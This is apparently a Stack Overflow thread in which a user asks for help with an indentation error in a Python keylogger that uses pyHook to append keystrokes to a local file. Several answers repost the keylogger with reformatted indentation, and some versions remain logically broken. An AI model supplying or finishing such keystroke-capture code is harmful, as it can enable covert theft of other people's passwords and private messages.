-3

I've been tampering with Python and Keyloggers, trying to find a comprehensive tutorial on how to construct one and haven't been able to find one. What really throws me off it the availability of the modules, versus the actual python update, and the pyhooks - trying to find compatibility is extremely difficult. Anyway, I finally found a somewhat viable tutorial and I get the "Expected an Intended Block" error. Here is the code.

import win32api 
import sys
import pythoncom, pyHook 
buffer = ''

def OnKeyboardEvent(event):
if event.Ascii == 5: 
sys.exit()

if event.Ascii != 0 or 8: 
f = open ('c:\\output.txt', 'a') 
keylogs = chr(event.Ascii) 
if event.Ascii == 13: 
keylogs = keylogs + '\n' 
f.write(keylogs) 
f.close()

while True:
hm = pyHook.HookManager() 
hm.KeyDown = OnKeyboardEvent 
hm.HookKeyboard() 
pythoncom.PumpMessages()

I get the error on the 5th line of code (if event.Ascii == 5:) something is wrong with that if and it's not allowing me to run the module. Any help? Thanks.

Crash54Fox
  • 41
  • 1
  • 4
  • 1
    It expects an indented block, so you should indent the code starting from the 5th line. Are you aware that Python is indentation sensitive? – Selcuk Mar 10 '16 at 05:40
  • I'm lost, but thanks for the answer – Crash54Fox Mar 10 '16 at 05:41
  • Can someone point me in the direction of a helpful indentation course? – Crash54Fox Mar 10 '16 at 05:42
  • In python, indenting your code is a requirement rather than something just an aesthetic habit as in other languages. Without indenting the code, the program will not know where you blocks of code begin and where they end. I recommend using IDLE in the beginning as it automatically indents the code for you. – kaisquared Mar 10 '16 at 05:53
  • 2
    Someone who can't figure out "Expected an Intended Block" error, making a keylogger..... Nothing could possibly go wrong here. – lciamp Mar 10 '16 at 05:56

3 Answers3

0

Add proper formatting for your python script, for example add identation properly for OnKeyboardEvent function:

def OnKeyboardEvent(event):
    if event.Ascii == 5: 
        sys.exit()
    if event.Ascii != 0 or 8: 
        f = open ('c:\\output.txt', 'a') 
        keylogs = chr(event.Ascii) 
    if event.Ascii == 13: 
        keylogs = keylogs + '\n' 
        f.write(keylogs) 
        f.close()

Also your while loop should contain identation:

while True:
    hm = pyHook.HookManager() 
    hm.KeyDown = OnKeyboardEvent 
    hm.HookKeyboard()
    pythoncom.PumpMessages()

See Lines and Indentation section of that article.

Andriy Ivaneyko
  • 20,639
  • 6
  • 60
  • 82
  • Thanks boss, I fixed the indentation errors. Now it's saying "Traceback (most recent call last): File "C:/Keylogger.py", line 10, in if event.Ascii != 0 or 8: NameError: name 'event' is not defined" – Crash54Fox Mar 10 '16 at 05:46
  • @Crash54Fox i've updated answer. Error should disappear – Andriy Ivaneyko Mar 10 '16 at 05:48
0

Use this proper python code format in you code:

import win32api 
import sys
import pythoncom, pyHook 
buffer = ''

def OnKeyboardEvent(event):
    if event.Ascii == 5: 
        sys.exit()

if event.Ascii != 0 or 8: 
    f = open ('c:\\output.txt', 'a') 
    keylogs = chr(event.Ascii) 
    if event.Ascii == 13: 
       keylogs = keylogs + '\n' 
       f.write(keylogs) 
       f.close()

while True:
    hm = pyHook.HookManager() 
    hm.KeyDown = OnKeyboardEvent 
    hm.HookKeyboard()
    pythoncom.PumpMessages()
Sahadev
  • 1,368
  • 4
  • 18
  • 39
0
import win32api 
import sys
import pythoncom, pyHook 
buffer = ''

def OnKeyboardEvent(event):
    if event.Ascii == 5:
    sys.exit()
    if event.Ascii != 0 or 8:
        f = open ('c:\\output.txt', 'a')
        keylogs = chr(event.Ascii)
    if event.Ascii == 13:
        keylogs = keylogs + '\n'
        f.write(keylogs)
        f.close()
    while True:
        hm = pyHook.HookManager()
        hm.KeyDown = OnKeyboardEvent
        hm.HookKeyboard()
        pythoncom.PumpMessages()

I am not sure if the code works. This is just an example how we should indent in python as we dont have braces here. You may also refer to this.

http://www.secnetix.de/olli/Python/block_indentation.hawk

DineshKumar
  • 1,599
  • 2
  • 16
  • 30